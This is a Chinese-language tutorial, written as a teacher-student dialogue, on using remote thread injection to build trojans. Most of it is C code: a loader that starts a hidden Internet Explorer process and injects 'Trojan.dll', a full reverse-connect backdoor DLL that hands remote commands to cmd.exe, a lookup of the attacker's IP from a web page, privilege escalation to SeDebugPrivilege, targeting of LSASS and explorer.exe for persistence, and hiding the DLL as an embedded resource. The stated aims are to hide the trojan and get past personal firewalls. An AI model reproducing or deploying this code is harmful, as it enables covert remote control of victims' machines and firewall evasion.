线程插入技术详解

来源:互联网 发布:看不见的战争 知乎 编辑:程序博客网 时间:2024/06/05 09:46
前置知识:DLL、远程线程
难度:    高
编译环境:VC6.0+win2000
测试环境:win2000+天网防火墙
                                                    

 “大家好,今天我们来讨论现在木马或后门比较流行的技术-线程插入技术。”
 “什么是线程插入技术啊?”一小菜问。
 “线程插入技术也叫远程线程技术,指的是将自己的代码插入正在运行的进程中的技术。其实,这种技术也不算是很难,只要有基本的进程、线程和动态链接库的知识就可以很轻松地完成线程插入,下面就为大家介绍一下远程线程技术。远程线程技术是通过在另一个进程中创建远程线程的方法进入那个进程的内存地址空间,事先把要执行的代码和有关数据写进目标进程,然后创建一个远程线程来让远端进程执行哪些代码。我们知道,在进程中,可以通过CreateThread函数创建线程,被创建的新线程与主线程(就是进程启动时被同时自动建立的那个线程)共享地址空间以及其他的资源。但是,通过CreateRemoteThread也同样可以在另一个进程内创建新线程,被创建的远程线程同样可以共享远程进程(是远程进程哦)的地址空间,所以,实际上,我们通过一个远程线程,进入了远程进程的内存地址空间,也就拥有了那个远程进程相当的权限。例如在远程进程内部启动一个DLL木马。”
 “我们为什么要那么麻烦啊?就这样启动一个木马不就行了?”一小菜疑惑问。
“呵呵,我们启动远程线程的目的是可以隐藏木马进程啊!我们把木马插入到一个正常的进程中,那么在用户看来不就是没有木马进程了吗?更重要的一点是可以突破防火墙!”
“突破防火墙?怎样突破?”小菜又疑惑了。
“大家都安装过防火墙吧?”
“肯定啦!”
“那么,当有程序访问Internet时,防火墙是不是都弹出一个询问的窗口来询问是否允许XXX程序访问网络?”
“对啊!”
“那就是啦!如果防火墙提示一个你不认识的程序要访问Internet,那你会有什么反应?”
“那就很有可能是木马或后门啦!”
“对啊。但如果是IE访问Internet呢?你会不会允许IE访问Internet?”
“那还用问吗?”
“就是啊,如果我们把木马的代码插入到IE进程中去,那么当防火墙提示IE访问Internet时,也就是我们木马解放的时候啊!用户只要第一次允许IE访问网络,以后当IE在此访问网络的时候,防火墙就不给予提示啦。那样我们的木马或后门不是就是可以突破防火墙了吗?”
“哈哈!暗道陈仓,绝!”
“好,我们现在就来动手写程序啦。我们先看看远程线程的主角CreateRemoteThread(),首先介绍一下我们的主要工具CreateRemoteThread,这里先将函数原型简单介绍以下。CreateRemoteThread可将线程创建在远程进程中。”

 

【函数原型】
HANDLE CreateRemoteThread(
  HANDLE hProcess,                          // handle to process
  LPSECURITY_ATTRIBUTES lpThreadAttributes, // SD
  SIZE_T dwStackSize,                       // initial stack size
  LPTHREAD_START_ROUTINE lpStartAddress,    // thread function
  LPVOID lpParameter,                       // thread argument
  DWORD dwCreationFlags,                    // creation option
  LPDWORD lpThreadId                        // thread identifier
);

【参数说明】
hProcess
[输入] 进程句柄
lpThreadAttributes
[输入] 线程安全描述字,指向SECURITY_ATTRIBUTES结构的指针。
dwStackSize
[输入] 线程栈大小,以字节表示。
lpStartAddress
[输入] 一个LPTHREAD_START_ROUTINE类型的指针,指向在远程进程中执行的函数地址。
lpParameter
[输入] 传入参数
dwCreationFlags
[输入] 创建线程的其它标志
lpThreadId
[输出] 线程身份标志,如果为NULL,则不返回。

 
【返回值】
“成功返回新线程句柄,失败返回NULL,并且可调用GetLastError获得错误值。大家很快可以领略到CreateRemoteThread的神通,它使你的代码可以脱离你的进程,植入到别的进程中运行。大家说,把代码插入到那个进程中突破防火墙最好啊?”
“那当然是QQ或者IE啦!因为没有人会傻到不允许这两个程序访问网络啊!”
“嗯,是的!这两个程序都很好。但接下来我们会选择IE。因为通常我们会打开多个IE而不是多个QQ,那样我们启动一个没有窗口的IE再把代码插进去隐藏性就比较好了。”

“怎样打开一个没有窗口的IE啊?”

要打开一个新的进程,我们利用的是CreateProcess()函数。以下代码实现打开一个IE进程,但窗口被隐藏起来。STARTUPINFO si; //进程启动时需要初始化的结构

PROCESS_INFORMATION pi; //进程启动后的有关信息
si.cb = sizeof(STARTUPINFO);
GetStartupInfo(&si);
si.wShowWindow = SW_HIDE;//这里设置窗口为隐藏,SW_SHOW为显示窗口。
si.dwFlags = STARTF_USESHOWWINDOW | STARTF_USESTDHANDLES;

CreateProcess("C://Program Files//Internet Explorer//IEXPLORE.EXE",NULL,NULL,NULL,TRUE,NULL,NULL,NULL,&si,&pi);


“当然,不是所有的系统都安装在C盘的,要确保我们能够打开一个隐藏窗口的IE进程,我们可以利用下面的代码。”
char syspath[256];
GetSystemDirectory(syspath,256);
strcat(syspath,"//..//..//Program Files//Internet Explorer//IEXPLORE.EXE");
CreateProcess(syspath,NULL,NULL,NULL,TRUE,NULL,NULL,NULL,&si,&pi);

“首先,我们利用GetSystemDirectory()函数取得系统目录,例如系统安装在D盘,则为D:/WINNT/system32,“..”标示上一层目录,那么“D:/WINNT/system32/../../ Program Files//Internet Explorer//IEXPLORE.EXE”实际上就是“D:/ Program Files/Internet Explorer/IEXPLORE.EXE”了,那么我们就可以保证IE路径的正确性。”

“IE进程启动后,我们需要得到它的进程的PID以便把数据写进IE进程。在系统创建进程时,进程的pid保存在PROCESS_INFORMATION结构中我们可以利用pi.dwProcessId得到IE进程的PID。接下来就要把有关代码写进目标进程了。”
GetCurrentDirectory(MAX_PATH,pszlibfilename); //得到当前的目录路径
if(pszlibfilename[strlen(pszlibfilename)-1]!='//') //判断是否为根目录
strcat(pszlibfilename,"//Trojan.dll");
else
strcat(pszlibfilename,"Trojan.dll"); //连接要插入的动态连接库的文件名(这里是Trojan.dll)
SetPrivilege();//提升权限
HANDLE hProcess=OpenProcess(PROCESS_ALL_ACCESS,FALSE,pid);//获得目标进程句柄
DWORD cb =(1 + lstrlenA(pszlibfilename)) * sizeof(char);
char *pszLibFileRemote = (char *)VirtualAllocEx(hProcess, NULL,cb, MEM_COMMIT, PAGE_READWRITE);//在目标进程中配变量地址空间,并且设定为可以读写PAGE_READWRITE。
WriteProcessMemory(hProcess, pszLibFileRemote, (PVOID)pszlibfilename,cb, NULL);//写内容到目标进程中分配的变量空间
PTHREAD_START_ROUTINE pfnStartAddr
pfnStartAddr=(PTHREAD_START_ROUTINE)GetProcAddress(GetModuleHandle("Kernel32"),"LoadLibraryA");//kernel.dll中取得LoadLibraryA地址
HANDLE hThread=CreateRemoteThread( hProcess, NULL, 0,pfnStartAddr,pszLibFileRemote, 0, NULL);//创建远程线程
WaitForSingleObject(hThread,INFINITE);//等待函数
CloseHandle(hThread);
VirtualFreeEx(hProcess,pszLibFileRemote,0,MEM_RELEASE);//释放刚才分配的远程进程的内存
CloseHandle(hProcess);



“上面是把我们的dll插入到远程进程的exe程序的代码。我们这个exe程序只是负责把dll插入到目标进程,而要实现木马或后门功能的则是我们接下来要介绍的dll文件。这里只给大家简单的演示如何穿透防火墙,所以要实现的功能还是比较简单的。首先又来给大家介绍下原理吧。我们可以把dll后门插入到某个进程中,而这个进程是防火墙允许让外部用户连接的。但由于大多数防火墙是禁止了由外部发起的连接,所以我们就要利用反弹端口,也就是内部向外部连接,这就是为什么我们要把dll后门插入到IE的原因。我们利用远程线程把代码插入到防火墙允许访问网络的应用程序中,然后由这个程序来访问网络而完成远程控制。”
“你的意思是说利用反弹端口吗?我们如何获得客户端的IP地址呢?”一小菜问。
“我们可以读取一个免费空间的一个指定页面,里面包含客户端的IP地址。因为是IE来进行访问,当然防火墙不会做出提示。我们可以利用下面的代码来获取指定网页:
char *request=”GET /ip.htm”;  //广外男生默认的生成页面
char buffer[2000];
destSockAddr.sin_family = AF_INET;
destSockAddr.sin_port=htons(80);
deskSocketAddr.Sin_Addr.S_Addr= inet_addr(DEST_IP_ADDR); //DEST_IP_ADDR为你的免费空间IP
destSocket=socket(AF_INET,SOCK_STREAM,0);
connect(destSocket,(LPSOCKADDR)&destSockAddr,sizeof(destSockAddr));
send(destSocket,request,strlen(request)+1,0);
recv(destSocket,buffer,2000,0);

“上面的代码连接到你的免费空间中,并且读取ip.htm。buffer里就是整个ip.htm的内容,当然包括HTTP头部,可以分析里面的内容得到客户机的详细情况!例如ip.htm中有#218.14.11.22#,那么利用strstr()函数就很容易取得IP地址啦。”
“那我们的DLL该如何编写呢?”
“下面我来做个简单的例子,也就是连接本机(127.0.0.1)的80端口并绑定一个shell。Dll的代码如下:

/*************hacker.cpp->hacker.dll**********/

#include<winsock2.h>
#include<stdio.h>
#pragma comment(lib,"ws2_32.lib")
#pragma comment(lib, "kernel32.lib")
int StartSocket();//连接函数
BOOL APIENTRY DllMain( HANDLE hModule,
                       DWORD  ul_reason_for_call,
                       LPVOID lpReserved
)   //动态连接库的入口,相当于main()函数。

{
switch(ul_reason_for_call)
    {
      case DLL_PROCESS_ATTACH:
       {

           DWORD id;          

           CreateThread(NULL,0,(LPTHREAD_START_ROUTINE)StartSocket,NULL,0,&id);

           break;
       }

      default:
  break;
    }
  return TRUE;
}

int StartSocket()
{
char *messages = "/r/n======================== BackConnect BackDoor V0.1 ========================/r/n========= Welcome to Http://www.hackerxfiles.net =========/r/n";
WSADATA WSAData;
SOCKET sock;
SOCKADDR_IN addr_in;
char buf1[1024];   //作为socket接收数据的缓冲区
memset(buf1,0,1024);   //清空缓冲区
if (WSAStartup(MAKEWORD(2,0),&WSAData)!=0)
   {
     printf("WSAStartup error.Error:d/n",WSAGetLastError());
     return;
   }

   addr_in.sin_family=AF_INET;
   addr_in.sin_port=htons(80);  //反向连接的远端主机端口
   addr_in.sin_addr.S_un.S_addr=inet_addr("127.0.0.1");  //远端IP
if ((sock=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==INVALID_SOCKET)
   {
     printf("Socket failed.Error:d/n",WSAGetLastError());
     return;
   }
if(WSAConnect(sock,(struct sockaddr *)&addr_in,sizeof(addr_in),NULL,NULL,NULL,NULL)==SOCKET_ERROR)     //连接客户主机
   {
     printf("Connect failed.Error:d",WSAGetLastError());
     return;
   }
if (send(sock,messages,strlen(messages),0)==SOCKET_ERROR)  //发送欢迎信息
   {
        printf("Send failed.Error:d/n",WSAGetLastError());
        return;
   }

char buffer[2048] = {0};//管道输出的数据
for(char cmdline[270];;memset(cmdline,0,sizeof(cmdline))){
SECURITY_ATTRIBUTES sa;//创建匿名管道用于取得cmd的命令输出
HANDLE hRead,hWrite;
sa.nLength = sizeof(SECURITY_ATTRIBUTES);
sa.lpSecurityDescriptor = NULL;
sa.bInheritHandle = TRUE;
if (!CreatePipe(&hRead,&hWrite,&sa,0))
{
  printf("Error On CreatePipe()");
  return;
}

STARTUPINFO si;
PROCESS_INFORMATION pi;
si.cb = sizeof(STARTUPINFO);
GetStartupInfo(&si);
si.hStdError = hWrite;
si.hStdOutput = hWrite;
si.wShowWindow = SW_HIDE;
si.dwFlags = STARTF_USESHOWWINDOW | STARTF_USESTDHANDLES;

GetSystemDirectory(cmdline,MAX_PATH+1);
strcat(cmdline,"//cmd.exe /c");
int   len=recv(sock,buf1,1024,NULL);
if(len==SOCKET_ERROR)exit(0); //如果客户端断开连接,则自动退出程序
if(len<=1){send(sock,"error/n",sizeof("error/n"),0);continue;}

strncat(cmdline,buf1,strlen(buf1)); //把命令参数复制到cmdline
if (!CreateProcess(NULL,cmdline,NULL,NULL,TRUE,NULL,NULL,NULL,&si,&pi))
{
 send(sock,"Error command/n",sizeof("Error command/n"),0);
 continue;
}

CloseHandle(hWrite);
//循环读取管道中数据并发送,直到管道中没有数据为止
for(DWORD bytesRead;ReadFile(hRead,buffer,2048,&bytesRead,NULL);memset(buffer,0,2048)){
send(sock,buffer,strlen(buffer),0);
}
     }
return 0;
}

“让我来说明下,当我们那个负责插入dll的exe程序执行CreateRemoteThread()函数后,那么被插入的进程就会利用LoadLibrary()函数来装载我们的dll。一旦我们的dll被装载,那么dll装载的原因就是DLL_PROCESS_ATTACH,这时就会执行CreateThread(NULL,0,(LPTHREAD_START_ROUTINE)StartSocket,NULL,0,&id);新的线程被创建,也就是反向连接到目标的80端口。大家明白么?”
“嗯,明白。线程插入这种技术真的很好玩哦,随便就可以把dll插入到其它进程中去!”一小菜高兴地说。
“不是随便哦,例如我们想插入到LSASS.exe等系统进程时,要有足够的权限才行。下面的这个函数可以让我们的程序获取足够的权限:
BOOL SetPrivilege()  //本函数用于提升权限,提升到SE_DEBUG_NAME。
{
      TOKEN_PRIVILEGES tkp;
      HANDLE hToken;
      if (!OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES|TOKEN_QUERY,&hToken))           //打开当前进程失败
      return FALSE;
      LookupPrivilegeValue(NULL,SE_DEBUG_NAME,&tkp.Privileges[0].Luid); //查看当前权限
      tkp.PrivilegeCount = 1;
      tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
      AdjustTokenPrivileges(hToken, FALSE, &tkp, 0, (PTOKEN_PRIVILEGES)NULL, 0);  //调整权限,如上设置
      return TRUE;
}

“大家还有什么问题吗?”
“有啊!你刚才说过我们可以插入到LSASS.exe进程,那么我们怎样取得它的pid啊?你之前的介绍取得创建IE进程后的pid是比较容易,因为PROCESS_INFORMATION结构中有它的PID。另外,插入到这种系统线程有有什么用啊?”一小菜问道。
“这个问题问得好!下面的函数是获取指定进程的pid,例如想取得explorer.exe的pid,可以利用下面的语句int pid=ProcesstoPid(“explorer.exe”)。我们如果把一个dll插入到explorer.exe进程可以实现很多功能,例如我们写一个监视进程的dll插进explorer.exe进程中,定时检查是否有我们要监视的进程,如果没有,就创建新的。这样可以做到进程不死哦。另外LSASS.EXE进程不是随便可以关闭的啊!只要进程在,我们的dll木马就会留在内存中了。
DWORD ProcesstoPid(char *pid)  //查找指定进程的PID(Process ID)
{
HANDLE hProcessSnap=NULL;
char buffer[MAX_PATH];
PROCESSENTRY32 pe32={0};
int i;
hProcessSnap=CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS,0); //打开进程快照
if(hProcessSnap==(HANDLE)-1)
{
printf("/nCreateToolhelp32Snapshot() Error: %d",GetLastError());
return 0;
}

pe32.dwSize=sizeof(PROCESSENTRY32);
if(Process32First(hProcessSnap,&pe32)) //开始枚举进程
{
do
{
strcpy(buffer,pe32.szExeFile);
for(i=strlen(buffer);i>0;i--) //截取进程名
if(buffer=='//')
break;
if(!strcmp(pid,&buffer)) //判断是否和提供的进程名相等,是,返回进程的ID
return pe32.th32ProcessID;
}
while(Process32Next(hProcessSnap,&pe32));  //继续枚举进程
}
else
{
printf("/nProcess32First() Error: %d",GetLastError());
return 0;
}
CloseHandle(hProcessSnap); //关闭系统进程快照的句柄
return 0;
}
 

“大家现在明白线程插入有多厉害了吗?这可是现在木马的流行技术哦!”
“我有一个问题,如果我们真的编写这样的线程插入木马,那么在木马发布时服务端岂不是要有一个exe文件和一个dll文件?这样好像不太专业啊!有什么办法可以去掉那个dll文件啊?”呵,这位小菜的建议很好!
“嗯,先让我想想吧,要去掉dll文件好像比较麻烦。有另外一种线程插入的办法可以不用dll文件的,但是用到的每个API函数都要利用typedef来重写函数,这种办法虽然可以不用dll文件,但如果要把所有的API函数都重写一遍的话,不紧容易出错,而且工作量也大得很!所以我们用dll是比较好的。至于你说有一个exe和一个dll显得不专业,那么我们就来看看有没有办法把dll都放到exe里去啦。”
“是啊,把dll放到exe里面去,使用的时候释放出来不就行了?
“对,就是使用这个办法了。我们可以利用十六进制文本编辑器把dll的二进制代码保存起来,再把这些代码放到我们的程序中去。然后把这些二进制代码写到硬盘上就可以得到一个dll。但这种办法比较麻烦,而且容易出错,下面我来介绍下一种比较好的办法就是把dll作为‘资源’嵌入到exe文件中。
“什么是‘资源’啊?怎样把dll作为‘资源’嵌入到exe文件中啊?”
“我们知道,Windows应用程序中包括执行代码和程序资源两部分。例如,应用程序的位图、图标、对话框、字串表等都被存储在应用程序资源中。另外,我们还可以把自定义资源(例如wav、swf、rm)以二进制形式保存和编译,并链接到应用程序中,在使用的时候再释放出来。要实现这个功能,首先要将这些文件作为程序资源放进资源文件中;然后,在程序执行数据文件加载时,从资源内存中读取这些文件。
“读取数据的关键在于:首先要获得具有所需资源ID号的资源内存块地址指针,然后根据不同的数据类型对地址指针进行强制类型转换。获得具有所需资源ID号的资源内存块地址指针主要用到及格资源管理的API函数,包括FindResource、LoadResource、SizeOfResource、LockResource以及文件创建CreateFile和写文件的WriteFile函数。具体包括以下几个步骤:
 (1)首先获取当前应用程序.EXE的文件句柄,该句柄用于在.EXE文件中寻找资源。
HINSTANCE hInstance=GetModuleHandle(NULL);
 (2)接着用以上获得的应用程序文件句柄hInstance作为参数之一来寻找具有指定资源ID和指定资源类型的资源文件中的资源位置,返回值为有名称的资源:
HRSRC hResInfo = FindResource(hInstance,MAKEINTRESOURCE(ID_MAGICDEL_DLL),MAKEINTRESOURCE(RC_BINARYTYPE));
 (3)然后从hInstance标识的可执行文件中装人hResInfo所指定的资源,该函数返回值标识了用于接受资源数据的全局数据块:
HGLOBAL hgRes = LoadResource(hInstance, hResInfo);
(4)最后锁定hResInfo所标定的内存块,并返回所标定内存块的虚拟内存地址。如果该资源被成功锁定的话,则返回值指向该资源开始处的第一个字节:
void *pvRes = LockResource(hgRes);
(5)接下来就可以用CreateFile()来创建dll文件了。

“下面我们来看看具体的操作如何。首先,我们把以下代码保存为cpp文件:
//extradll.cpp
#include <windows.h>
#include<stdio.h>
#include "resource.h"
void WriteResourceToFile(char const *filename)
{
    HINSTANCE hInstance=GetModuleHandle(NULL);
    HRSRC hResInfo = FindResource(hInstance,
    MAKEINTRESOURCE(ID_MAGICDEL_DLL),
    MAKEINTRESOURCE(RC_BINARYTYPE));
    HGLOBAL hgRes = LoadResource(hInstance, hResInfo);
    void *pvRes = LockResource(hgRes);
    DWORD cbRes = SizeofResource(hInstance, hResInfo);   
    HANDLE hFile = CreateFile(filename, GENERIC_WRITE, 0, 0, CREATE_ALWAYS,  FILE_ATTRIBUTE_NORMAL, 0);//创建文件
    DWORD cbWritten;
    WriteFile(hFile, pvRes, cbRes, &cbWritten, 0);//把dll代码写进文件
    CloseHandle(hFile);
}
int main(void)
{
    WriteResourceToFile("trojan.dll");
    //创建trojan.dll
    return 0;
}
 

“上面的代码是从exe文件本身读取dll资源。但是,我们如何把dll作为资源链接到exe文件自身中去呢?下面将介绍这个过程:
(1)       首先我们用记事本创建一个res.rc文件,里面的内容如下:
//  res.rc
#include "resource.h"
ID_MAGICDEL_DLL RC_BINARYTYPE hacker.dll
hacker.dll是要嵌入exe的dll文件,要跟res.rc在同一目录。

ID_MAGICDEL_DLL为数据文件的资源ID号, RC_BINARYTYPE为资源类名,DISCARDABLE表示该资源是可抛弃型的,而“hacker.dll”表示数据文件hacker.dll处于当前工程文件所处文件夹下,供应用程序编译连接时加载数据用。
(2)       接着用vc6.0打开extradll.cpp,编译extradll.cpp,工作区里如下图。
右击“extradll files”,选择“Add files to project”,然后选中刚才编辑的res.rc文件。
(3)       把exe编译成Release模式。
 

“好了!进入Release文件夹,双击extradll.exe,是不是解出一个trojan.dll文件?这个文件其实就是hacker.dll!对于其它类型的文件方法是一样的。通过这种方法还可以把一个exe文件嵌入到另外一个exe文件中,运行时把这个文件释放出来。大家现在应该明白为什么有些木马只有客户端然后可以在客户端生成服务器端了吧?其实就是把先写好的服务器端嵌入到客户端中去。”
“哦!原来如此!以我们后写木马也利用这种方法咯!”
“现在我们的exe文件和dll文件就合二为一了,够专业了吧?呵呵!”

“够了!现在我们就可以利用dll来进行远程插入了。”小菜们高兴地说。


 “现在我们来回顾一下整个流程吧:首先就是把exe中的dll解出来,然后就利用CreateReomteThread()来创建远程线程。上面释放dll的exe程序没有创建远程线程的功能,大家只要在WriteResourceToFile("trojan.dll");这句后添加插入dll的代码就OK了。这样一来既实现了dll的插入,又免去了那个dll文件。”



0 0
原创粉丝点击